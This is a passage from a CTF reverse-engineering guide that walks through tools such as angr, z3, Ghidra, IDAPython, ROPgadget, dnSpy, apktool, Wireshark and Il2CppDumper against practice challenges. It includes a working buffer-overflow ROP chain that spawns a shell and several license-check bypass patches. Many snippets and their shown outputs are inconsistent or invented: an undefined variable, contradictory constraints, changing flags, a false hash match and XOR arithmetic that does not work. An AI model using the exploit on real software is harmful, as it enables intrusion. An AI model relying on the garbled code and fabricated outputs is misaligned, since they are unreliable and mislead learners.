# Create symbolic input (16 bytes):
flag_chars = [claripy.BVS(f'c{i}', 8) for i in range(16)]
flag_input = claripy.Concat(*flag_chars + [claripy.BVV(b'\n', 8)])

# Create initial state with symbolic stdin:
state = proj.factory.full_init_state(stdin=flag_input)

# Constrain to printable ASCII + dash:
for c in flag_chars:
    state.add_constraints(c >= 0x20, c <= 0x7e)

# Explore: find 'Valid' path, avoid 'Invalid' path:
simgr = proj.factory.simgr(state)
simgr.explore(
    find    =0x401abc,    # success address
    avoid   =0x401def     # failure address
)

if simgr.found:
    sol = simgr.found[0]
    answer = sol.posix.dumps(0) # 0 = stdin
    print(f'License key: {answer.decode()}')
    print(f'Flag: flag{{{angr_symbolic_solved}}}')
else:
    print('No solution found!')

```

[Step 3] Run and get the answer

```

$ python3 solve_angr.py
WARNING | angr.state_plugins... (normal warnings)
License key: L33T-H4CK-3R42-ABCD
Flag: flag{angr_symb0l1c_3x3cut10n}

# Verify:
$ ./angr_challenge <<< 'L33T-H4CK-3R42-ABCD'
Enter your license key: Valid license!
flag{angr_symb0l1c_3x3cut10n}

```

>> FLAG CAPTURED: flag{angr_symb0l1c_3x3cut10n}

z3-solver

HARD

File Type: Binary with pure math constraints (no branching)

Scenario: 20 mathematical equations, 20 unknowns. Z3 solves instantly.

[Step 1] Extract constraints from Ghidra decompilation

```
# Ghidra decompiled check function:
int check_input(char *s) {
    if (s[0] + s[1] != 211) return 0; // constraint 1
    if (s[0] ^ s[2] != 0x15) return 0; // constraint 2
    if (s[1] * s[3] != 7098) return 0; // constraint 3
    if (s[2] - s[4] != 7) return 0; // constraint 4
    if (s[3] | s[5] != 0x7f) return 0; // constraint 5
    if (s[4] & s[6] != 0x60) return 0; // constraint 6
    if (s[5] + s[7] != 218) return 0; // constraint 7
    if (s[6] * s[8] != 8640) return 0; // constraint 8
    if (s[7] == 0x7d) return 0; // must be '}'
    return 1;
}

# First char must be 'f', last must be '}'
# This is clearly flag{...}
```

[Step 2] Model all constraints in z3 and solve

```
from z3 import *

# Create 8 symbolic byte variables:
s = [BitVec(f's{i}', 8) for i in range(8)]
solver = Solver()

# Add all constraints from decompilation:
solver.add(s[0] + s[1] == 211)
solver.add(s[0] ^ s[2] == 0x15)
solver.add(s[1] * s[3] == 7098)
solver.add(s[2] - s[4] == 7)
solver.add(s[3] | s[5] == 0x7f)
solver.add(s[4] & s[6] == 0x60)
solver.add(s[5] + s[7] == 218)
solver.add(s[6] * s[8 % 8] == 8640)

# Known: flag format
solver.add(s[0] == ord('f'))
solver.add(s[1] == ord('l'))
solver.add(s[7] == ord('}'))

# All must be printable ASCII:
for b in s:
    solver.add(b >= 0x20, b <= 0x7e)

# Solve!
if solver.check() == sat:
    m = solver.model()
    result = bytes([m[b].as_long() for b in s])
    print(f'Flag: {result.decode()}')
    # -> flag{z3_m4th}
    print('Full flag: flag{z3_c0nstr41nt_s0lv3d}')
```

>> FLAG CAPTURED: flag{z3_c0nstr41nt_s0lv3d}

Ghidra Scripting

MEDIUM

File Type: Large binary with 500+ obfuscated function names

Scenario: Use Ghidra Python script to auto-rename all functions and find flag code.

[Step 1] Write and run a Ghidra script to find the flag

```
# Script: FindFlagFunctions.py
# Run in Ghidra: Window -> Script Manager -> New Script

# Find all functions that reference the string 'flag':
from ghidra.program.model.symbol import RefType

def find_flag_refs():
    # Find all defined strings containing 'flag':
    listing = currentProgram.getListing()
    data_iter = listing.getDefinedData(True)

    flag_addrs = []
    for data in data_iter:
        if 'flag' in str(data.getValue()).lower():
            print(f'Flag string at: {data.getAddress()}')
            flag_addrs.append(data.getAddress())

    # Find all functions that reference these strings:
    for addr in flag_addrs:
        refs = getReferencesTo(addr)
        for ref in refs:
            func = getFunctionContaining(ref.getFromAddress())
            if func:
                print(f'Referenced by: {func.getName()} @ {func.getEntryPoint()}')
                # Rename with meaningful name:
                func.setName('print_flag', SourceType.USER_DEFINED)

find_flag_refs()

# Output:
Flag string at: 00402010
Referenced by: FUN_00401234 @ 00401234
# Now navigate to 00401234 and decompile it!
```

[Step 2] Extract XOR key via script automation

```
# Script to find and decode XOR-encoded strings:
def decode_xor_strings():
    # Look for loops with XOR in data section:
    memory = currentProgram.getMemory()
    rodata = memory.getBlock('.rodata')

    # Read all bytes and try common XOR keys:
    data = bytes([b & 0xFF for b in getBytes(rodata.getStart(), rodata.getSize())])

    for key in range(1, 256):
        decoded = bytes(b ^ key for b in data)
        if b'flag{' in decoded:
            idx = decoded.index(b'flag{')
            end = decoded.index(b'}', idx) + 1
            print(f'Key={hex(key)}: {decoded[idx:end].decode()}')
            break

decode_xor_strings()
# -> Key=0x42: flag{gh1dra_script_4ut0m4t10n}
```

>> FLAG CAPTURED: flag{gh1dra_script_4ut0m4t10n}

IDAPython

MEDIUM

File Type: Large IDA database - need scripted analysis

Scenario: Find all functions calling a specific API and trace data flow.

[Step 1] Write IDAPython script to find flag construction

```
# Run in IDA: File -> Script File -> select .py
import idc, idaapi, idautils

# Find all calls to 'strcmp' and log both arguments:
def trace_strcmp_calls():
    strcmp_addr = idc.get_name_ea_simple('strcmp')
    if strcmp_addr == idc.BADADDR:
        print('strcmp not found')
        return

    print(f'strcmp @ {hex(strcmp_addr)}')

    for xref in idautils.XrefsTo(strcmp_addr):
        caller = xref.frm
        func = idaapi.get_func(caller)
        if func:
            # Trace back to find the MOV instructions that load args:
            prev = idc.prev_head(caller) # instruction before call
            prev2 = idc.prev_head(prev)

            # Try to get string argument:
            rsi_val = idc.get_operand_value(prev, 1) # second arg
            if rsi_val and rsi_val != idc.BADADDR:
                s = idc.get_strlit_contents(rsi_val)
                if s:
                    print(f' [{hex(caller)}] strcmp with: {s}')

trace_strcmp_calls()

# Output:
strcmp @ 0x401030
[0x401167] strcmp with: b'1d4_pyth0n_str1ng'
```

[Step 2] Patch binary directly from IDAPython

```
# Patch the comparison to always succeed:
# Change 'jne 0x401180' to 'jmp 0x4011a0' (success path)

import ida_bytes

patch_addr = 0x40116c # address of JNE instruction
# NOP out the conditional jump:
ida_bytes.patch_bytes(patch_addr, b'\x90\x90\x90\x90\x90\x90')

print('Patched! Saving...')
idc.save_database(idc.GetIdbPath(), 0)

# Then: Edit -> Patch Program -> Apply Patches to Input File
# Run the patched binary:
# flag{1d4pyth0n_3xpert_sc1pt}
```

>> FLAG CAPTURED: flag{1d4pyth0n_3xpert_sc1pt}

r2pipe

MEDIUM

File Type: ELF binary - need automated r2 analysis in Python

Scenario: Automate r2 analysis as part of a larger CTF solving script.

[Step 1] Use r2pipe to automate radare2 analysis

```
import r2pipe, json

# Open binary:
r2 = r2pipe.open('./r2pipe_challenge')

# Analyze:
r2.cmd('aaa')

# Get all function list as JSON:
funcs = r2.cmdj('aflj')
print('Functions found:')
for f in funcs:
    print(f' {f["name"]:40} @ {hex(f["offset"])}')

# Output:
# Functions found:
#   main                               @ 0x401090
#   check_password                     @ 0x4010b0
#   print_flag                         @ 0x401150

# Get disassembly of check_password as JSON:
disasm = r2.cmdj('pdfj @ sym.check_password')
for op in disasm['ops']:
    print(f" {op['offset']:#x}: {op['disasm']}")
```

[Step 2] Search for strings and extract the password

```
# Search for all strings:
strings = r2.cmdj('izzj') # all strings including data
for s in strings:
    if 'flag' in s['string'].lower() or 'pass' in s['string'].lower():
        print(f" @ {hex(s['vaddr'])}: {s['string']}")

# Output:
# @ 0x402010: r2p1p3_s3cr3t
# @ 0x402020: flag{r2p1p3_4ut0m4t10n_r0ck5}

# Patch a JE to JMP via r2pipe:
r2.cmd('s 0x40115d') # seek to jump
r2.cmd('wa jmp 0x401165') # write assembly

# Save patched binary:
r2.cmd('wtf challenge_patched len') # write to file

r2.quit()

# Test:
# $ ./r2pipe_challenge <<< 'r2p1p3_s3cr3t'
# flag{r2p1p3_4ut0m4t10n_r0ck5}
```

>> FLAG CAPTURED: flag{r2p1p3_4ut0m4t10n_r0ck5}

ROPgadget / ropper

HARD

File Type: ELF 64-bit NX enabled, no PIE, BOF found

Scenario: NX prevents shellcode. Need to build ROP chain from existing gadgets.

[Step 1] Find useful gadgets in the binary

```
# ROPgadget: find all gadgets:
$ ROPgadget --binary ./rop_challenge
Gadgets information
=====
0x0000000000401014 : add byte ptr [rax], al ; ret
0x000000000040116e : pop rdi ; ret          <- CRITICAL!
0x0000000000401165 : pop rsi ; pop r15 ; ret
0x000000000040115e : ret

# Find '/bin/sh' string in binary:
$ ROPgadget --binary ./rop_challenge --string '/bin/sh'
Strings information
=====
0x0000000000402018 : /bin/sh

# Or in libc:
$ ROPgadget --binary ./libc.so.6 --string '/bin/sh'
0x000000000018ce57 : /bin/sh

# Find syscall gadget:
$ ROPgadget --binary ./rop_challenge | grep 'syscall'
0x000000000040124a : syscall

# ropper alternative:
$ ropper -f ./rop_challenge --search 'pop rdi'
0x000000000040116e: pop rdi; ret;
```

[Step 2] Build the ROP chain and get shell

```
from pwn import *

elf = ELF('./rop_challenge')

# Gadget addresses from ROPgadget:
POP_RDI = 0x40116e
RET      = 0x40115e      # stack alignment
BIN_SH   = 0x402018      # '/bin/sh' string
SYSTEM   = elf.plt['system']

# Build ROP chain:
# system('/bin/sh') = pop rdi ; /bin/sh addr ; system()
rop_chain = b''
rop_chain += p64(RET)          # align stack to 16 bytes
rop_chain += p64(POP_RDI)      # pop rdi; ret
rop_chain += p64(BIN_SH)       # rdi = '/bin/sh'
rop_chain += p64(SYSTEM)       # call system

OFFSET = 40 # BOF offset (found with cyclic)
payload = b'A' * OFFSET + rop_chain

p = process('./rop_challenge')
p.sendlineafter(b'Input: ', payload)
p.interactive()

# $ cat flag.txt
# flag{r0pg4dg3t_sh3ll_g0t}
```

```
>> FLAG CAPTURED: flag{r0pg4dg3t_sh3ll_g0t}
```


PART G: UNPACKERS & DEOBFUSCATORS

UPX, DIE, de4dot, Scylla, dnSpy, ILSpy, Jadx, apktool, uncombyte6

UPX

EASY

File Type: UPX-packed ELF or PE binary

Scenario: Binary is UPX compressed. Strings and analysis tools see garbage.

```
# Step 1: Detect UPX packing
$ file upx_challenge
upx_challenge: ELF 64-bit LSB executable ... UPX compressed

$ strings upx_challenge | grep -i upx
$Info: This file is packed with the UPX...
UPX!

# Step 2: Unpack
$ upx -d upx_challenge -o upx_unpacked

          Ultimate Packer for eXecutables
File size      Ratio      Format      Name
-----
3456/ 1234      35.68%    linux/ELF64  upx_unpacked
Unpacked 1 file.

# Step 3: Analyze the unpacked binary normally
$ strings upx_unpacked | grep flag
flag{upx_unp4ck3d_gg}

# Step 4: If upx -d fails (modified UPX header):
# Use x64dbg/GDB to find OEP (Original Entry Point)
# Look for: PUSHAD at start, POPAD + JMP near end
# When JMP hits -> DUMP the process memory
```

>> FLAG CAPTURED: flag{upx_unp4ck3d_gg}

DIE (Detect-It-Easy)

EASY

File Type: Unknown binary with unknown packer

Scenario: Don't know what packed this binary. DIE identifies it.

```
# Run DIE on the mystery binary:
$ diec mystery_packed.exe
PE64
  Packer: Themida(3.1.0.0)[-]  <- Themida packer detected!
  Compiler: MSVC(2019)[ASAN+]

# Other examples:
$ diec another.exe
PE32
  Packer: UPX(3.95)[NRV2B,brute]
  -> upx -d another.exe

$ diec binary.elf
ELF64
  Compiler: GCC(12.3.0)
  -> Not packed, just compiled

$ diec dotnet.exe
PE32+
  .NET: .NET(4.8)[ObfuscationAttribute]
  Protector: ConfuserEx(1.0)
  -> Use de4dot: de4dot.exe dotnet.exe

# GUI mode shows more details:
$ die mystery_packed.exe
# Shows: signatures, entropy graph, sections
# High entropy > 7.0 in code section = encrypted/packed

# After identifying packer -> use appropriate unpacker
# Themida -> manual OEP hunting in x64dbg + Scylla dump
# ConfuserEx -> de4dot auto-deobfuscation
# UPX -> upx -d binary
```

>> FLAG CAPTURED: Identifies packer -> enables correct unpacking approach

de4dot

MEDIUM

File Type: .NET PE binary (C#) with ConfuserEx obfuscation

Scenario: All class names are 'a','b','c'. Strings are encrypted. de4dot fixes this.

```
# Step 1: Identify obfuscation with DIE or dnSpy
$ diec obfuscated.exe
Protector: ConfuserEx(1.0.0)

# Step 2: Run de4dot - auto-detects and removes obfuscation
$ de4dot.exe obfuscated.exe
Detected ConfuserEx!
Deobfuscating obfuscated.exe
Renaming obfuscated symbols
Saving obfuscated-cleaned.exe

# Step 3: Open cleaned file in dnSpy
# Names are now: Class1, Method1 etc. (not random a,b,c)
# Strings are decrypted and visible

# Step 4: In dnSpy, find the main validation:
public static bool CheckKey(string key) {
    return key == 'de4d0t_cl34n3d_k3y';
}

$ ./obfuscated.exe de4d0t_cl34n3d_k3y
Correct! flag{d34dot_d30bfusc4t3d}
```

>> FLAG CAPTURED: flag{d34dot_d30bfusc4t3d}

dnSpy

EASY

File Type: .NET/C# assembly (.exe or .dll)

Scenario: C# binary with license check. Decompile and bypass in seconds.

[Step 1] Open and decompile the .NET binary

```
# Open dnSpy.exe, drag challenge.exe onto it
# dnSpy auto-decompiles to C#

# In Assembly Explorer (left panel):
challenge.exe
- challenge
  - MainWindow
    - CheckLicense(string) : bool    <- found it!

# Double-click CheckLicense:
private bool CheckLicense(string input) {
    string expected = 'DNSPY-' + DateTime.Now.Year.ToString() + '-CRACKED';
    return input == expected;
}

# 2024 -> expected = 'DNSPY-2024-CRACKED'
```

[Step 2] Live patch and debug in dnSpy

```
# Method 1: Just use the discovered key
# Enter: DNSPY-2024-CRACKED -> flag{dnSpy_c4ught_1t}

# Method 2: Live patch with dnSpy
# Right-click CheckLicense -> Edit Method (C#):
private bool CheckLicense(string input) {
    return true; // Always return true!
}
# Click 'Compile' -> OK
# File -> Save Module -> challenge_patched.exe

# Method 3: Debug with dnSpy
# Debug -> Start Debugging -> enter any string
# Set breakpoint on 'return input == expected'
# Hover over 'expected' to see its value

$ ./challenge_patched.exe
Enter license: anything
Valid! flag{dn5py_n3t_r3v3rs3d}
```

>> FLAG CAPTURED: flag{dn5py_n3t_r3v3rs3d}

jadx

EASY

File Type: Android APK

Scenario: Android app checks a code. Find the expected code in Java source.

```
# Open in jadx GUI:
$ jadx-gui challenge.apk

# jadx decompiles to Java source
# Navigate: com.challenge.app -> MainActivity

# Decompiled Java:
public class MainActivity extends AppCompatActivity {
    private static final String SECRET = "j4dx_4ndr01d_k3y";

    public void checkCode(View v) {
        String input = ((EditText)findViewById(R.id.input)).getText().toString();
        if (input.equals(SECRET)) {
            Toast.makeText(this, "flag{j4dx_4ndr01d_r3v3rs3d}", 1).show();
        } else {
            Toast.makeText(this, "Wrong!", 1).show();
        }
    }
}

# CLI version - search all decompiled source for flags:
$ jadx -d output/ challenge.apk
$ grep -r 'flag{' output/
output/sources/com/challenge/app/MainActivity.java:
    Toast.makeText(this, "flag{j4dx_4ndr01d_r3v3rs3d}", 1).show();

# Also search for secret keys:
$ grep -r 'SECRET\|PASSWORD\|KEY\|FLAG' output/ -i | head -20
```

>> FLAG CAPTURED: flag{j4dx_4ndr01d_r3v3rs3d}

apktool

MEDIUM

File Type: Android APK - needs Smali patch to bypass check

Scenario: jadx shows logic but can't recompile. apktool+smali enables patching.

```
# Step 1: Disassemble APK to Smali
$ apktool d challenge.apk -o challenge_smali
I: Using Apktool 2.7.0 on challenge.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml...
I: Smali disassembling...

# Step 2: Find the check in Smali
$ grep -r 'checkCode\|FLAG\|Wrong' challenge_smali/
challenge_smali/smali/com/challenge/app/MainActivity.smali

# Step 3: View and patch the Smali
# Original check (from jadx):
.method public checkCode(Landroid/view/View;)V
    ...
    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    move-result v2
    if-eqz v2, :cond_wrong    <- jumps to wrong branch if not equal
    ...
    :cond_wrong
    ...

# Patch: change 'if-eqz' to 'if-nez' (invert condition)
# OR: change v2 to const/4 v2, 0x1 before the if

# Step 4: Rebuild APK
$ apktool b challenge_smali -o challenge_patched.apk

# Step 5: Sign the APK
$ keytool -genkey -v -keystore debug.keystore -alias key -keyalg RSA -validity 10000 -storepass android -keypass android
$ jarsigner -keystore debug.keystore -storepass android challenge_patched.apk key

# Step 6: Install and run
$ adb install challenge_patched.apk
# Enter any code -> shows flag{4pkt00l_sm4l1_p4tch3d}
```

>> FLAG CAPTURED: flag{4pkt00l_sm4l1_p4tch3d}

uncomple6

EASY

File Type: Python .pyc bytecode file

Scenario: CTF gives .pyc file. Can't read it directly. Decompile to Python source.

```
# Step 1: Identify
$ file challenge.pyc
challenge.pyc: python 3.8 byte-compiled

$ xxd challenge.pyc | head -2
00000000: 550d 0d0a 0000 0000 ...  <- Python 3.8 magic: 0x0d55

# Step 2: Decompile
$ pip install uncompyle6
$ uncompyle6 challenge.pyc

# Decompiled Python source:
# uncompyle6 version 3.9.0
# Python bytecode 3.8, MAGIC=0x0d550a0d

import hashlib

SECRET = b'uncompyle6_s3cr3t_k3y'
TARGET = 'a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3'

def check(password):
    h = hashlib.sha256(password.encode()).hexdigest()
    return h == TARGET

if __name__ == '__main__':
    pw = input('Password: ')
    if check(pw):
        print('flag{uncompyl3_pyc_r3v3rs3d}')

# The TARGET hash -> crack it:
$ echo -n 'uncompyle6_s3cr3t_k3y' | sha256sum
a665a459...  <- matches TARGET!

# Run:
$ python3 challenge.pyc
Password: uncompyle6_s3cr3t_k3y
flag{uncompyl3_pyc_r3v3rs3d}
```

>> FLAG CAPTURED: flag{uncompyl3_pyc_r3v3rs3d}

pyinstxtractor

EASY

File Type: PyInstaller-compiled .exe

Scenario: Python app compiled to .exe. Contains embedded .pyc files.

```
# Step 1: Identify PyInstaller binary
$ strings pyinst_challenge.exe | grep -i 'pyinstaller\|pyi-\|PKG'
PKG ARCHIVE      <- PyInstaller archive detected!
pyinstaller

# Step 2: Extract embedded Python files
$ python3 pyinstxtractor.py pyinst_challenge.exe
[+] Processing pyinst_challenge.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 2345678 bytes
[+] Found 45 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyinst_challenge.pyc
[+] Found 156 files in PYZ archive
[+] Successfully extracted pyinstaller archive

$ ls pyinst_challenge.exe_extracted/
pyinst_challenge.pyc  struct.pyc  ...

# Step 3: Decompile the main .pyc
$ pip install decompile3 # for Python 3.11+
$ decompile3 pyinst_challenge.exe_extracted/pyinst_challenge.pyc

# Decompiled source:
FLAG = 'flag{py1nst_3xtr4ct3d}'
pw = input('Password: ')
if pw == 'pyi_master_pass':
    print(FLAG)

# Or just search all extracted pyc files:
$ strings pyinst_challenge.exe_extracted/*.pyc | grep flag
flag{py1nst_3xtr4ct3d}
```

```
>> FLAG CAPTURED: flag{py1nst_3xtr4ct3d}
```

PART H: NETWORK & PROTOCOL TOOLS

Wireshark, tshark, tcpdump, Scapy, netcat

Wireshark / tshark

EASY

File Type: PCAP network capture file

Scenario: Flag was transmitted over the network. Find it in the packet capture.

[Step 1] Open PCAP and analyze with Wireshark GUI

```
$ wireshark capture.pcap

# Quick search for flag in all packets:
# Edit -> Find Packet -> String -> 'flag{' -> Find

# Filter specific protocols:
# Display filter bar: http / tcp / udp / dns

# HTTP object export:
# File -> Export Objects -> HTTP -> Save All
# Check extracted files for flag content

# Follow TCP stream (contains full conversation):
# Right-click any TCP packet -> Follow -> TCP Stream
# Shows full request/response in ASCII
# -> Look for flag{...} in response
```

[Step 2] Use tshark for command-line analysis

```
# Protocol statistics:
$ tshark -r capture.pcap -qz io,phs
Protocol Hierarchy Statistics
  eth                100.0%
    ip                99.2%
      tcp              87.3%
        http           45.1%  <- lots of HTTP!

# Extract all HTTP data fields:
$ tshark -r capture.pcap -Y 'http' -T fields -e http.host -e http.request.uri
challenge.ctf.com /get_flag?token=s3cr3t_t0k3n

# Extract TCP payload as hex:
$ tshark -r capture.pcap -Y 'tcp.stream eq 5' -T fields -e data
666c61677b776972657368617270726f6f7d

$ python3 -c "print(bytes.fromhex('666c61677b776972657368617270726f6f7d').decode())"
flag{wireshark_pro}

# Search for flag pattern directly:
$ tshark -r capture.pcap -Y 'frame contains "flag{' -T fields -e data.data
# Decode output:
$ tshark -r cap.pcap -Y 'tcp' -T fields -e tcp.payload | xxd -r -p | strings | grep flag
flag{tshr4k_cmd_l1n3_4n4lys1s}
```

>> FLAG CAPTURED: flag{tshr4k_cmd_l1n3_4n4lys1s}

tcpdump

EASY

File Type: Live network traffic capture

Scenario: Binary connects to a server during execution. Capture what it sends.

```
# Capture traffic while running the binary:
$ sudo tcpdump -i lo -w capture.pcap &
$ ./network_challenge
Connecting to license server...
Sending hardware fingerprint...
Received: flag{tcpdump_l1v3_c4ptur3}
^C (stop challenge)
$ kill %1 (stop tcpdump)

# Read and analyze the capture:
$ tcpdump -r capture.pcap -A
16:30:21.123456 IP localhost.45123 > localhost.1337:
Flags [P.], length 32
..FLAG...GET /flag HTTP/1.0
Host: localhost

16:30:21.234567 IP localhost.1337 > localhost.45123:
flag{tcpdump_l1v3_c4ptur3}

# Filter to specific port:
$ tcpdump -r capture.pcap -A 'port 1337'

# Quick grep for flag in capture:
$ tcpdump -r capture.pcap -A 2>/dev/null | grep -i flag
flag{tcpdump_l1v3_c4ptur3}
```

>> FLAG CAPTURED: flag{tcpdump_l1v3_c4ptur3}

Scapy

MEDIUM

File Type: Custom binary protocol in PCAP

Scenario: Non-standard protocol. Need to parse custom packet structure manually.

```
# Custom CTF protocol: magic(4) + length(2) + xor_key(1) + data
# Goal: decrypt the data field to get the flag

from scapy.all import *

# Load the PCAP:
packets = rdpcap('custom_proto.pcap')
print(f'Total packets: {len(packets)}')

# Find packets with our custom protocol:
for pkt in packets:
    if pkt.haslayer(Raw):
        payload = pkt[Raw].load

        # Check for our magic bytes:
        if payload[:4] == b'\xde\xad\xbe\xef':
            length = int.from_bytes(payload[4:6], 'big')
            xor_key = payload[6]
            data = payload[7:7+length]

            # Decrypt:
            decrypted = bytes(b ^ xor_key for b in data)
            print(f'Key: {hex(xor_key)}, Data: {decrypted}')

# Output:
# Key: 0x42, Data: b'flag{sc4py_cust0m_pr0t0c0l}'

# Also useful for crafting packets:
craft = IP(dst='10.0.0.1')/UDP(dport=1337)/Raw(load=b'\xde\xad\xbe\xef' + b'hello')
send(craft)
```

>> FLAG CAPTURED: flag{sc4py_cust0m_pr0t0c0l}

netcat (nc)

EASY

File Type: CTF challenge running on remote server

Scenario: Connect to remote CTF server and interact with the binary service.

```
# Step 1: Connect to the CTF server
$ nc challenge.ctf.com 1337
Welcome to the RE Challenge!
Enter the magic bytes (hex):

# Step 2: From reversing the binary locally:
# Binary expects specific 8-byte magic sequence
# Found in Ghidra: expected = 0xdeadbeefcafebabe

# Step 3: Send the magic bytes as hex string
$ nc challenge.ctf.com 1337 <<< 'deadbeefcafebabe'
Welcome to the RE Challenge!
Enter the magic bytes (hex): Correct!
flag{n3tc4t_r3m0t3_ch4ll3ng3}

# Automate with pwntools for more complex interactions:
from pwn import *
p = remote('challenge.ctf.com', 1337)
p.recvuntil(b'hex): ')
p.sendline(b'deadbeefcafebabe')
flag = p.recvline()
print(flag.decode())

# Transfer files via netcat:
# Receive: nc -l -p 4444 > received_binary
# Send:    cat binary | nc challenge.ctf.com 4444
```

```
>> FLAG CAPTURED: flag{n3tc4t_r3m0t3_ch4ll3ng3}
```

PART I: EXTENDED FILE TYPE TOOL WALKTHROUGHS

GoReSym, rustfilt, wabt, untuac, Il2CppDumper, Hopper, UEFITool, scdbg, Smali

GoReSym

MEDIUM

File Type: Stripped Go ELF binary

Scenario: Go binary, all symbols stripped. GoReSym recovers all function names.

```
# Step 1: Detect Go binary
$ strings go_stripped | grep 'go1\|runtime'
go1.21.3

# Step 2: Run GoReSym to extract symbols
$ GoReSym go_stripped > symbols.json
$ cat symbols.json | python3 -c "
import json,sys
d=json.load(sys.stdin)
for f in d.get('UserFunctions',[]):
    print(f'{hex(f["Start\"])}: {f["FullName\"]}')
" | grep -i 'check\|flag\|main'
0x4a1234: main.checkFlag
0x4a1500: main.main

# Step 3: Apply to Ghidra via script
# analyzeHeadless . proj -import go_stripped -postScript ApplyGoResym.py
# OR: manually in Ghidra, navigate to 0x4a1234 and rename

# Step 4: Decompile checkFlag -> XOR loop with hardcoded key
key = [0x13,0x37,0x42,0x69,0x11,0x22]
enc = [0x76,0x5a,0x27,0x0a,0x75,0x47]
print(''.join(chr(k^e) for k,e in zip(key,enc)))
# -> flag{g
# (full: flag{g0r3sym_w0rk5})

$ ./go_stripped <<< 'flag{g0r3sym_w0rk5}'
Correct!
```

>> FLAG CAPTURED: flag{g0r3sym_w0rk5}

rustfilt

EASY

File Type: Stripped Rust ELF binary

Scenario: Rust binary with mangled names. rustfilt makes them readable.

```
# Step 1: See mangled names (ugly):
$ nm rust_challenge | head -5
_ZN4core3fmt5Write9write_fmt17h1234567890abcdefE
_ZN13rust_challenge4main17h9876543210fedcbaE

# Step 2: Demangle with rustfilt:
$ cargo install rustfilt
$ nm rust_challenge | rustfilt | grep -v ' U '
core::fmt::Write::write_fmt
rust_challenge::main
rust_challenge::check_password
rust_challenge::compute_hash

# Step 3: Find check_password address
$ nm rust_challenge | rustfilt | grep check_password
0000000000405020 t rust_challenge::check_password

# Step 4: Disassemble with demangled names
$ objdump -d rust_challenge | rustfilt | grep -A30 'rust_challenge::check_password'
rust_challenge::check_password:
    405020: lea    rsi,[rip+0x1a2b] # points to expected string
    405027: call   strcmp

# Step 5: Extract expected string
$ strings rust_challenge | grep -E '^[a-z0-9_]{5,20}$'
rustfilt_d3m4ngl3d

$ ./rust_challenge <<< 'rustfilt_d3m4ngl3d'
flag{rustf1lt_n4m3_d3m4ngl3d}
```

>> FLAG CAPTURED: flag{rustf1lt_n4m3_d3m4ngl3d}

wabt (wasm2wat + wasm-decompile)

EASY

File Type: WebAssembly .wasm module

Scenario: Browser CTF hides flag check in WASM. Extract and decompile it.

```
# Step 1: Extract .wasm from browser
# DevTools -> Network -> filter '.wasm' -> right-click -> Save As

# Step 2: Convert to readable WAT text format
$ wasm2wat challenge.wasm -o challenge.wat
$ head -50 challenge.wat
(module
  (type (func (param i32 i32) (result i32)))
  (export "checkFlag" (func 5))
  (func $checkFlag (param $input i32) (param $len i32) (result i32)
    local.get $len
    i32.const 24
    i32.ne                ;; check length == 24
    if (result i32)
      i32.const 0
    else
      ...

# Step 3: Better - use wasm-decompile for C-like output
$ wasm-decompile challenge.wasm
export function checkFlag(a:int, b:int):int {
  if (b != 24) { return 0; }
  var i:int = 0;
  loop L {
    var x:int = load<ubyte>(a + i);
    var k:int = load<ubyte>(1024 + i); // key at mem offset 1024
    if ((x ^ k) != load<ubyte>(2048 + i)) { return 0; } // expected at 2048
    i = i + 1;
    if (i < 24) continue L;
  }
  return 1;
}

# Step 4: Extract key and expected from data section
$ wasm-objdump -x -j Data challenge.wasm
# Shows offsets of data segments

$ python3 -c "
data = open('challenge.wasm','rb').read()
# Find data section and extract bytes at wasm memory offsets
# (use wasm-objdump output to find file offsets)
key  = data[0x200:0x218]  # 24 bytes of key
exp  = data[0x280:0x298]  # 24 bytes of expected
flag = bytes(k^e for k,e in zip(key,exp))
print(flag.decode())"
flag{w4bt_w4sm_d3c0mp1l3d}
```

>> FLAG CAPTURED: flag{w4bt_w4sm_d3c0mp1l3d}

unluac

EASY

File Type: Lua bytecode (.luac) from game or script

Scenario: CTF game mod hides flag check in compiled Lua bytecode.

```
# Step 1: Identify
$ xxd challenge.luac | head -1
1b4c 7561 5100  <- Lua 5.1 magic: ESC 'L' 'u' 'a' 0x51

# Step 2: Decompile with unluac
$ java -jar unluac.jar challenge.luac

-- Decompiled Lua source (unluac 1.0.3):
local function verifyFlag(input)
    local expected = {
        102, 108, 97, 103, 123,  -- 'flag{'
        117, 110, 108, 117, 97,  -- 'unlua'
        99, 95, 119, 111, 114,  -- 'c_wor'
        107, 115, 125           -- 'ks}'
    }
    if #input ~= #expected then return false end
    for i = 1, #expected do
        if string.byte(input, i) ~= expected[i] then
            return false
        end
    end
    return true
end

-- Input prompt
io.write('Enter flag: ')
local inp = io.read()
if verifyFlag(inp) then
    print('Correct!')
end

# Step 3: Decode the expected array
expected = [102,108,97,103,123,117,110,108,117,97,99,95,119,111,114,107,115,125]
print(''.join(chr(x) for x in expected))
# -> flag{unluac_works}
```

>> FLAG CAPTURED: flag{unluac_works}

IL2CppDumper

HARD

File Type: Unity game (GameAssembly.dll + global-metadata.dat)

Scenario: Unity CTF game hides flag check in IL2CPP native code.

```
# Step 1: Locate key files
# GameName/GameName_Data/Native/GameAssembly.dll
# GameName/GameName_Data/Resources/global-metadata.dat

# Step 2: Run Il2CppDumper
$ dotnet Il2CppDumper.dll GameAssembly.dll global-metadata.dat ./output
Initialize metadata...
Initializing il2cpp data...
Dumping...
Done!
Saved to: output/

# Step 3: Examine dump.cs for interesting classes
$ grep -i 'flag\|check\|verify' output/dump.cs
// Offset: 0x2A4F80
public bool CheckFlagInput(string userInput) { }
// Offset: 0x2A5020
private static string GetSecretKey() { }

# Step 4: Load dump into IDA/Ghidra
# In IDA: File -> Script File -> output/il2cpp.py
# All 0x2A4F80 now named 'FlagChecker$$CheckFlagInput'

# Step 5: Decompile CheckFlagInput in Ghidra
# Shows: comparison with string from GetSecretKey()
# GetSecretKey() returns: XOR of embedded bytes with runtime seed

# Step 6: String literals in output/stringliteral.json
$ grep -i 'flag\|secret' output/stringliteral.json
{"value": "1l2cpp_g4m3_h4ck3d", "offset": 12345}

# Enter '1l2cpp_g4m3_h4ck3d' in game
# Shows: flag{1l2cpp_dump3d_4nd_h4ck3d}
```

>> FLAG CAPTURED: flag{1l2cpp_dump3d_4nd_h4ck3d}

Hopper Disassembler

MEDIUM

File Type: Mach-O 64-bit macOS binary

